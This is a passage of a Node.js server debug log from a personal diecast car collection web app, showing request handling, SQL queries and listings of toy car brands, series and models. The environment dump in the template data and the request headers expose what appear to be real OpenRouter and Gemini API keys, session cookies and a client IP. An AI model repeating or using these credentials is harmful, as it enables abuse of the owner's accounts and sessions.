    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T12:32:26.543Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:32:26.543Z server-connect:app Executing action step identify
2026-02-03T12:32:26.543Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:26.543Z server-connect:output identity: 1
2026-02-03T12:32:26.543Z server-connect:app Executing action step restrict
2026-02-03T12:32:26.543Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:26.544Z server-connect:output restrict: undefined
2026-02-03T12:32:26.544Z server-connect:app Executing action step select
2026-02-03T12:32:26.544Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:32:26.544Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T12:32:26.548Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:32:26.549Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T12:32:26.550Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:32:26.551Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T12:32:26.551Z server-connect:app Executing action step identify
2026-02-03T12:32:26.551Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:26.551Z server-connect:output identity: 1
2026-02-03T12:32:26.551Z server-connect:app Executing action step restrict
2026-02-03T12:32:26.551Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:26.551Z server-connect:app Executing action step identify
2026-02-03T12:32:26.551Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:26.551Z server-connect:output identity: 1
2026-02-03T12:32:26.551Z server-connect:app Executing action step restrict
2026-02-03T12:32:26.552Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:26.552Z server-connect:app Executing action step identify
2026-02-03T12:32:26.552Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:26.552Z server-connect:output identity: 1
2026-02-03T12:32:26.552Z server-connect:app Executing action step restrict
2026-02-03T12:32:26.552Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:26.553Z server-connect:output restrict: undefined
2026-02-03T12:32:26.553Z server-connect:app Executing action step select
2026-02-03T12:32:26.553Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:32:26.554Z server-connect:output restrict: undefined
2026-02-03T12:32:26.554Z server-connect:app Executing action step paged
2026-02-03T12:32:26.554Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T12:32:26.554Z server-connect:app Executing action step identify
2026-02-03T12:32:26.554Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:26.555Z server-connect:output identity: 1
2026-02-03T12:32:26.555Z server-connect:app Executing action step restrict
2026-02-03T12:32:26.555Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:26.556Z server-connect:output restrict: undefined
2026-02-03T12:32:26.556Z server-connect:app Executing action step select
2026-02-03T12:32:26.556Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:32:26.557Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2026-02-03T12:32:26.559Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-02-03T12:32:26.560Z server-connect:output restrict: undefined
2026-02-03T12:32:26.561Z server-connect:app Executing action step select
2026-02-03T12:32:26.561Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:32:26.563Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T12:32:26.563Z server-connect:app Executing action step select
2026-02-03T12:32:26.563Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:32:26.564Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T12:32:26.566Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T12:32:26.566Z server-connect:app Executing action step select
2026-02-03T12:32:26.566Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:32:26.566Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T12:32:35.536Z server-connect:router Serving templateView /collections
2026-02-03T12:32:35.537Z server-connect:app Executing action step identify
2026-02-03T12:32:35.537Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:35.537Z server-connect:output identity: 1
2026-02-03T12:32:35.537Z server-connect:app Executing action step restrict
2026-02-03T12:32:35.537Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:32:35.537Z server-connect:output restrict: undefined
2026-02-03T12:32:35.537Z server-connect:router Render template masters/collections
2026-02-03T12:32:35.538Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
